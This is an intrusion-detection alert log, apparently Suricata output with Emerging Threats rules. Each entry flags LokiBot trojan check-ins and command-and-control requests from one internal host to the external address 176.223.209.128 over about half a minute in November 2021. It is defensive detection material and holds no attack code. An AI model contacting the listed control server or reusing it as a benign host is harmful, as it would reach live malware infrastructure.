11/25/21-10:54:47.949235	TCP	2025381	ET TROJAN LokiBot Checkin	50638	80	192.168.11.20	176.223.209.128
11/25/21-10:54:47.949235	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50638	80	192.168.11.20	176.223.209.128
11/25/21-10:54:48.460000	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50639	80	192.168.11.20	176.223.209.128
11/25/21-10:54:48.460000	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50639	80	192.168.11.20	176.223.209.128
11/25/21-10:54:48.460000	TCP	2025381	ET TROJAN LokiBot Checkin	50639	80	192.168.11.20	176.223.209.128
11/25/21-10:54:48.460000	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50639	80	192.168.11.20	176.223.209.128
11/25/21-10:54:48.980264	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50640	80	192.168.11.20	176.223.209.128
11/25/21-10:54:48.980264	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50640	80	192.168.11.20	176.223.209.128
11/25/21-10:54:48.980264	TCP	2025381	ET TROJAN LokiBot Checkin	50640	80	192.168.11.20	176.223.209.128
11/25/21-10:54:48.980264	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50640	80	192.168.11.20	176.223.209.128
11/25/21-10:54:49.491342	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50641	80	192.168.11.20	176.223.209.128
11/25/21-10:54:49.491342	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50641	80	192.168.11.20	176.223.209.128
11/25/21-10:54:49.491342	TCP	2025381	ET TROJAN LokiBot Checkin	50641	80	192.168.11.20	176.223.209.128
11/25/21-10:54:49.491342	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50641	80	192.168.11.20	176.223.209.128
11/25/21-10:54:50.009142	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50642	80	192.168.11.20	176.223.209.128
11/25/21-10:54:50.009142	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50642	80	192.168.11.20	176.223.209.128
11/25/21-10:54:50.009142	TCP	2025381	ET TROJAN LokiBot Checkin	50642	80	192.168.11.20	176.223.209.128
11/25/21-10:54:50.009142	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50642	80	192.168.11.20	176.223.209.128
11/25/21-10:54:50.524009	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50643	80	192.168.11.20	176.223.209.128
11/25/21-10:54:50.524009	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50643	80	192.168.11.20	176.223.209.128
11/25/21-10:54:50.524009	TCP	2025381	ET TROJAN LokiBot Checkin	50643	80	192.168.11.20	176.223.209.128
11/25/21-10:54:50.524009	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50643	80	192.168.11.20	176.223.209.128
11/25/21-10:54:51.017243	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50644	80	192.168.11.20	176.223.209.128
11/25/21-10:54:51.017243	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50644	80	192.168.11.20	176.223.209.128
11/25/21-10:54:51.017243	TCP	2025381	ET TROJAN LokiBot Checkin	50644	80	192.168.11.20	176.223.209.128
11/25/21-10:54:51.017243	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50644	80	192.168.11.20	176.223.209.128
11/25/21-10:54:51.521089	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50645	80	192.168.11.20	176.223.209.128
11/25/21-10:54:51.521089	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50645	80	192.168.11.20	176.223.209.128
11/25/21-10:54:51.521089	TCP	2025381	ET TROJAN LokiBot Checkin	50645	80	192.168.11.20	176.223.209.128
11/25/21-10:54:51.521089	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50645	80	192.168.11.20	176.223.209.128
11/25/21-10:54:51.987314	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50646	80	192.168.11.20	176.223.209.128
11/25/21-10:54:51.987314	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50646	80	192.168.11.20	176.223.209.128
11/25/21-10:54:51.987314	TCP	2025381	ET TROJAN LokiBot Checkin	50646	80	192.168.11.20	176.223.209.128
11/25/21-10:54:51.987314	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50646	80	192.168.11.20	176.223.209.128
11/25/21-10:54:52.546072	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50647	80	192.168.11.20	176.223.209.128
11/25/21-10:54:52.546072	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50647	80	192.168.11.20	176.223.209.128
11/25/21-10:54:52.546072	TCP	2025381	ET TROJAN LokiBot Checkin	50647	80	192.168.11.20	176.223.209.128
11/25/21-10:54:52.546072	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50647	80	192.168.11.20	176.223.209.128
11/25/21-10:54:53.019558	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50648	80	192.168.11.20	176.223.209.128
11/25/21-10:54:53.019558	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50648	80	192.168.11.20	176.223.209.128
11/25/21-10:54:53.019558	TCP	2025381	ET TROJAN LokiBot Checkin	50648	80	192.168.11.20	176.223.209.128
11/25/21-10:54:53.019558	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50648	80	192.168.11.20	176.223.209.128
11/25/21-10:54:53.534335	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50649	80	192.168.11.20	176.223.209.128
11/25/21-10:54:53.534335	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50649	80	192.168.11.20	176.223.209.128
11/25/21-10:54:53.534335	TCP	2025381	ET TROJAN LokiBot Checkin	50649	80	192.168.11.20	176.223.209.128
11/25/21-10:54:53.534335	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50649	80	192.168.11.20	176.223.209.128
11/25/21-10:54:54.011787	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50650	80	192.168.11.20	176.223.209.128
11/25/21-10:54:54.011787	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50650	80	192.168.11.20	176.223.209.128
11/25/21-10:54:54.011787	TCP	2025381	ET TROJAN LokiBot Checkin	50650	80	192.168.11.20	176.223.209.128
11/25/21-10:54:54.011787	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50650	80	192.168.11.20	176.223.209.128
11/25/21-10:54:54.518849	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50651	80	192.168.11.20	176.223.209.128
11/25/21-10:54:54.518849	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50651	80	192.168.11.20	176.223.209.128
11/25/21-10:54:54.518849	TCP	2025381	ET TROJAN LokiBot Checkin	50651	80	192.168.11.20	176.223.209.128
11/25/21-10:54:54.518849	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50651	80	192.168.11.20	176.223.209.128
11/25/21-10:54:55.034068	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50652	80	192.168.11.20	176.223.209.128
11/25/21-10:54:55.034068	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50652	80	192.168.11.20	176.223.209.128
11/25/21-10:54:55.034068	TCP	2025381	ET TROJAN LokiBot Checkin	50652	80	192.168.11.20	176.223.209.128
11/25/21-10:54:55.034068	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50652	80	192.168.11.20	176.223.209.128
11/25/21-10:54:55.547945	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50653	80	192.168.11.20	176.223.209.128
11/25/21-10:54:55.547945	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50653	80	192.168.11.20	176.223.209.128
11/25/21-10:54:55.547945	TCP	2025381	ET TROJAN LokiBot Checkin	50653	80	192.168.11.20	176.223.209.128
11/25/21-10:54:55.547945	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50653	80	192.168.11.20	176.223.209.128
11/25/21-10:54:56.056137	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50654	80	192.168.11.20	176.223.209.128
11/25/21-10:54:56.056137	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50654	80	192.168.11.20	176.223.209.128
11/25/21-10:54:56.056137	TCP	2025381	ET TROJAN LokiBot Checkin	50654	80	192.168.11.20	176.223.209.128
11/25/21-10:54:56.056137	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50654	80	192.168.11.20	176.223.209.128
11/25/21-10:54:56.566470	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50655	80	192.168.11.20	176.223.209.128
11/25/21-10:54:56.566470	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50655	80	192.168.11.20	176.223.209.128
11/25/21-10:54:56.566470	TCP	2025381	ET TROJAN LokiBot Checkin	50655	80	192.168.11.20	176.223.209.128
11/25/21-10:54:56.566470	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50655	80	192.168.11.20	176.223.209.128
11/25/21-10:54:57.072320	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50656	80	192.168.11.20	176.223.209.128
11/25/21-10:54:57.072320	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50656	80	192.168.11.20	176.223.209.128
11/25/21-10:54:57.072320	TCP	2025381	ET TROJAN LokiBot Checkin	50656	80	192.168.11.20	176.223.209.128
11/25/21-10:54:57.072320	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50656	80	192.168.11.20	176.223.209.128
11/25/21-10:54:57.565910	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50657	80	192.168.11.20	176.223.209.128
11/25/21-10:54:57.565910	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50657	80	192.168.11.20	176.223.209.128
11/25/21-10:54:57.565910	TCP	2025381	ET TROJAN LokiBot Checkin	50657	80	192.168.11.20	176.223.209.128
11/25/21-10:54:57.565910	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50657	80	192.168.11.20	176.223.209.128
11/25/21-10:54:58.031226	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50658	80	192.168.11.20	176.223.209.128
11/25/21-10:54:58.031226	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50658	80	192.168.11.20	176.223.209.128
11/25/21-10:54:58.031226	TCP	2025381	ET TROJAN LokiBot Checkin	50658	80	192.168.11.20	176.223.209.128
11/25/21-10:54:58.031226	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50658	80	192.168.11.20	176.223.209.128
11/25/21-10:54:58.463608	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50659	80	192.168.11.20	176.223.209.128
11/25/21-10:54:58.463608	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50659	80	192.168.11.20	176.223.209.128
11/25/21-10:54:58.463608	TCP	2025381	ET TROJAN LokiBot Checkin	50659	80	192.168.11.20	176.223.209.128
11/25/21-10:54:58.463608	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50659	80	192.168.11.20	176.223.209.128
11/25/21-10:54:58.966616	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50660	80	192.168.11.20	176.223.209.128
11/25/21-10:54:58.966616	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50660	80	192.168.11.20	176.223.209.128
11/25/21-10:54:58.966616	TCP	2025381	ET TROJAN LokiBot Checkin	50660	80	192.168.11.20	176.223.209.128
11/25/21-10:54:58.966616	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50660	80	192.168.11.20	176.223.209.128
11/25/21-10:54:59.471626	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50661	80	192.168.11.20	176.223.209.128
11/25/21-10:54:59.471626	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50661	80	192.168.11.20	176.223.209.128
11/25/21-10:54:59.471626	TCP	2025381	ET TROJAN LokiBot Checkin	50661	80	192.168.11.20	176.223.209.128
11/25/21-10:54:59.471626	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50661	80	192.168.11.20	176.223.209.128
11/25/21-10:54:59.978509	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50662	80	192.168.11.20	176.223.209.128
11/25/21-10:54:59.978509	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50662	80	192.168.11.20	176.223.209.128
11/25/21-10:54:59.978509	TCP	2025381	ET TROJAN LokiBot Checkin	50662	80	192.168.11.20	176.223.209.128
11/25/21-10:54:59.978509	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50662	80	192.168.11.20	176.223.209.128
11/25/21-10:55:00.435673	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50663	80	192.168.11.20	176.223.209.128
11/25/21-10:55:00.435673	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50663	80	192.168.11.20	176.223.209.128
11/25/21-10:55:00.435673	TCP	2025381	ET TROJAN LokiBot Checkin	50663	80	192.168.11.20	176.223.209.128
11/25/21-10:55:00.435673	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50663	80	192.168.11.20	176.223.209.128
11/25/21-10:55:00.937404	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50664	80	192.168.11.20	176.223.209.128
11/25/21-10:55:00.937404	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50664	80	192.168.11.20	176.223.209.128
11/25/21-10:55:00.937404	TCP	2025381	ET TROJAN LokiBot Checkin	50664	80	192.168.11.20	176.223.209.128
11/25/21-10:55:00.937404	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50664	80	192.168.11.20	176.223.209.128
11/25/21-10:55:01.418915	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50665	80	192.168.11.20	176.223.209.128
11/25/21-10:55:01.418915	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50665	80	192.168.11.20	176.223.209.128
11/25/21-10:55:01.418915	TCP	2025381	ET TROJAN LokiBot Checkin	50665	80	192.168.11.20	176.223.209.128
11/25/21-10:55:01.418915	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50665	80	192.168.11.20	176.223.209.128
11/25/21-10:55:01.928401	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50666	80	192.168.11.20	176.223.209.128
11/25/21-10:55:01.928401	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50666	80	192.168.11.20	176.223.209.128
11/25/21-10:55:01.928401	TCP	2025381	ET TROJAN LokiBot Checkin	50666	80	192.168.11.20	176.223.209.128
11/25/21-10:55:01.928401	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50666	80	192.168.11.20	176.223.209.128
11/25/21-10:55:02.442047	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50667	80	192.168.11.20	176.223.209.128
11/25/21-10:55:02.442047	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50667	80	192.168.11.20	176.223.209.128
11/25/21-10:55:02.442047	TCP	2025381	ET TROJAN LokiBot Checkin	50667	80	192.168.11.20	176.223.209.128
11/25/21-10:55:02.442047	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50667	80	192.168.11.20	176.223.209.128
11/25/21-10:55:02.979042	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50668	80	192.168.11.20	176.223.209.128
11/25/21-10:55:02.979042	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50668	80	192.168.11.20	176.223.209.128
11/25/21-10:55:02.979042	TCP	2025381	ET TROJAN LokiBot Checkin	50668	80	192.168.11.20	176.223.209.128
11/25/21-10:55:02.979042	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50668	80	192.168.11.20	176.223.209.128
11/25/21-10:55:03.513245	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50669	80	192.168.11.20	176.223.209.128
11/25/21-10:55:03.513245	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50669	80	192.168.11.20	176.223.209.128
11/25/21-10:55:03.513245	TCP	2025381	ET TROJAN LokiBot Checkin	50669	80	192.168.11.20	176.223.209.128
11/25/21-10:55:03.513245	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50669	80	192.168.11.20	176.223.209.128
11/25/21-10:55:03.981457	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50670	80	192.168.11.20	176.223.209.128
11/25/21-10:55:03.981457	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50670	80	192.168.11.20	176.223.209.128
11/25/21-10:55:03.981457	TCP	2025381	ET TROJAN LokiBot Checkin	50670	80	192.168.11.20	176.223.209.128
11/25/21-10:55:03.981457	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50670	80	192.168.11.20	176.223.209.128
11/25/21-10:55:04.538402	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50671	80	192.168.11.20	176.223.209.128
11/25/21-10:55:04.538402	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50671	80	192.168.11.20	176.223.209.128
11/25/21-10:55:04.538402	TCP	2025381	ET TROJAN LokiBot Checkin	50671	80	192.168.11.20	176.223.209.128
11/25/21-10:55:04.538402	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50671	80	192.168.11.20	176.223.209.128
11/25/21-10:55:05.052795	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50672	80	192.168.11.20	176.223.209.128
11/25/21-10:55:05.052795	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50672	80	192.168.11.20	176.223.209.128
11/25/21-10:55:05.052795	TCP	2025381	ET TROJAN LokiBot Checkin	50672	80	192.168.11.20	176.223.209.128
11/25/21-10:55:05.052795	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50672	80	192.168.11.20	176.223.209.128
11/25/21-10:55:05.569177	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50673	80	192.168.11.20	176.223.209.128
11/25/21-10:55:05.569177	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50673	80	192.168.11.20	176.223.209.128
11/25/21-10:55:05.569177	TCP	2025381	ET TROJAN LokiBot Checkin	50673	80	192.168.11.20	176.223.209.128
11/25/21-10:55:05.569177	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50673	80	192.168.11.20	176.223.209.128
11/25/21-10:55:06.082836	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50674	80	192.168.11.20	176.223.209.128
11/25/21-10:55:06.082836	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50674	80	192.168.11.20	176.223.209.128
11/25/21-10:55:06.082836	TCP	2025381	ET TROJAN LokiBot Checkin	50674	80	192.168.11.20	176.223.209.128
11/25/21-10:55:06.082836	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50674	80	192.168.11.20	176.223.209.128
11/25/21-10:55:06.598789	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50675	80	192.168.11.20	176.223.209.128
11/25/21-10:55:06.598789	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50675	80	192.168.11.20	176.223.209.128
11/25/21-10:55:06.598789	TCP	2025381	ET TROJAN LokiBot Checkin	50675	80	192.168.11.20	176.223.209.128
11/25/21-10:55:06.598789	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50675	80	192.168.11.20	176.223.209.128
11/25/21-10:55:07.053125	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50676	80	192.168.11.20	176.223.209.128
11/25/21-10:55:07.053125	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50676	80	192.168.11.20	176.223.209.128
11/25/21-10:55:07.053125	TCP	2025381	ET TROJAN LokiBot Checkin	50676	80	192.168.11.20	176.223.209.128
11/25/21-10:55:07.053125	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50676	80	192.168.11.20	176.223.209.128
11/25/21-10:55:07.557350	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50677	80	192.168.11.20	176.223.209.128
11/25/21-10:55:07.557350	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50677	80	192.168.11.20	176.223.209.128
11/25/21-10:55:07.557350	TCP	2025381	ET TROJAN LokiBot Checkin	50677	80	192.168.11.20	176.223.209.128
11/25/21-10:55:07.557350	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50677	80	192.168.11.20	176.223.209.128
11/25/21-10:55:08.069898	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50678	80	192.168.11.20	176.223.209.128
11/25/21-10:55:08.069898	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50678	80	192.168.11.20	176.223.209.128
11/25/21-10:55:08.069898	TCP	2025381	ET TROJAN LokiBot Checkin	50678	80	192.168.11.20	176.223.209.128
11/25/21-10:55:08.069898	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50678	80	192.168.11.20	176.223.209.128
11/25/21-10:55:08.535660	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50679	80	192.168.11.20	176.223.209.128
11/25/21-10:55:08.535660	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50679	80	192.168.11.20	176.223.209.128
11/25/21-10:55:08.535660	TCP	2025381	ET TROJAN LokiBot Checkin	50679	80	192.168.11.20	176.223.209.128
11/25/21-10:55:08.535660	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50679	80	192.168.11.20	176.223.209.128
11/25/21-10:55:08.993230	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50680	80	192.168.11.20	176.223.209.128
11/25/21-10:55:08.993230	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50680	80	192.168.11.20	176.223.209.128
11/25/21-10:55:08.993230	TCP	2025381	ET TROJAN LokiBot Checkin	50680	80	192.168.11.20	176.223.209.128
11/25/21-10:55:08.993230	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50680	80	192.168.11.20	176.223.209.128
11/25/21-10:55:09.501050	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50681	80	192.168.11.20	176.223.209.128
11/25/21-10:55:09.501050	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50681	80	192.168.11.20	176.223.209.128
11/25/21-10:55:09.501050	TCP	2025381	ET TROJAN LokiBot Checkin	50681	80	192.168.11.20	176.223.209.128
11/25/21-10:55:09.501050	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50681	80	192.168.11.20	176.223.209.128
11/25/21-10:55:10.027946	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50682	80	192.168.11.20	176.223.209.128
11/25/21-10:55:10.027946	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50682	80	192.168.11.20	176.223.209.128
11/25/21-10:55:10.027946	TCP	2025381	ET TROJAN LokiBot Checkin	50682	80	192.168.11.20	176.223.209.128
11/25/21-10:55:10.027946	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50682	80	192.168.11.20	176.223.209.128
11/25/21-10:55:10.499801	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50683	80	192.168.11.20	176.223.209.128
11/25/21-10:55:10.499801	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50683	80	192.168.11.20	176.223.209.128
11/25/21-10:55:10.499801	TCP	2025381	ET TROJAN LokiBot Checkin	50683	80	192.168.11.20	176.223.209.128
11/25/21-10:55:10.499801	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50683	80	192.168.11.20	176.223.209.128
11/25/21-10:55:11.026773	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50684	80	192.168.11.20	176.223.209.128
11/25/21-10:55:11.026773	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50684	80	192.168.11.20	176.223.209.128
11/25/21-10:55:11.026773	TCP	2025381	ET TROJAN LokiBot Checkin	50684	80	192.168.11.20	176.223.209.128
11/25/21-10:55:11.026773	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50684	80	192.168.11.20	176.223.209.128
11/25/21-10:55:11.540230	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50685	80	192.168.11.20	176.223.209.128
11/25/21-10:55:11.540230	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50685	80	192.168.11.20	176.223.209.128
11/25/21-10:55:11.540230	TCP	2025381	ET TROJAN LokiBot Checkin	50685	80	192.168.11.20	176.223.209.128
11/25/21-10:55:11.540230	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50685	80	192.168.11.20	176.223.209.128
11/25/21-10:55:12.060170	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50686	80	192.168.11.20	176.223.209.128
11/25/21-10:55:12.060170	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50686	80	192.168.11.20	176.223.209.128
11/25/21-10:55:12.060170	TCP	2025381	ET TROJAN LokiBot Checkin	50686	80	192.168.11.20	176.223.209.128
11/25/21-10:55:12.060170	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50686	80	192.168.11.20	176.223.209.128
11/25/21-10:55:12.564542	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50687	80	192.168.11.20	176.223.209.128
11/25/21-10:55:12.564542	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50687	80	192.168.11.20	176.223.209.128
11/25/21-10:55:12.564542	TCP	2025381	ET TROJAN LokiBot Checkin	50687	80	192.168.11.20	176.223.209.128
11/25/21-10:55:12.564542	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50687	80	192.168.11.20	176.223.209.128
11/25/21-10:55:13.073926	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50688	80	192.168.11.20	176.223.209.128
11/25/21-10:55:13.073926	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50688	80	192.168.11.20	176.223.209.128
11/25/21-10:55:13.073926	TCP	2025381	ET TROJAN LokiBot Checkin	50688	80	192.168.11.20	176.223.209.128
11/25/21-10:55:13.073926	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50688	80	192.168.11.20	176.223.209.128
11/25/21-10:55:13.588604	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50689	80	192.168.11.20	176.223.209.128
11/25/21-10:55:13.588604	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50689	80	192.168.11.20	176.223.209.128
11/25/21-10:55:13.588604	TCP	2025381	ET TROJAN LokiBot Checkin	50689	80	192.168.11.20	176.223.209.128
11/25/21-10:55:13.588604	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50689	80	192.168.11.20	176.223.209.128
11/25/21-10:55:14.101732	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50690	80	192.168.11.20	176.223.209.128
11/25/21-10:55:14.101732	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50690	80	192.168.11.20	176.223.209.128
11/25/21-10:55:14.101732	TCP	2025381	ET TROJAN LokiBot Checkin	50690	80	192.168.11.20	176.223.209.128
11/25/21-10:55:14.101732	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50690	80	192.168.11.20	176.223.209.128
11/25/21-10:55:14.619405	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50691	80	192.168.11.20	176.223.209.128
11/25/21-10:55:14.619405	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50691	80	192.168.11.20	176.223.209.128
11/25/21-10:55:14.619405	TCP	2025381	ET TROJAN LokiBot Checkin	50691	80	192.168.11.20	176.223.209.128
11/25/21-10:55:14.619405	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50691	80	192.168.11.20	176.223.209.128
11/25/21-10:55:15.119361	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50692	80	192.168.11.20	176.223.209.128
11/25/21-10:55:15.119361	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50692	80	192.168.11.20	176.223.209.128
11/25/21-10:55:15.119361	TCP	2025381	ET TROJAN LokiBot Checkin	50692	80	192.168.11.20	176.223.209.128
11/25/21-10:55:15.119361	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50692	80	192.168.11.20	176.223.209.128
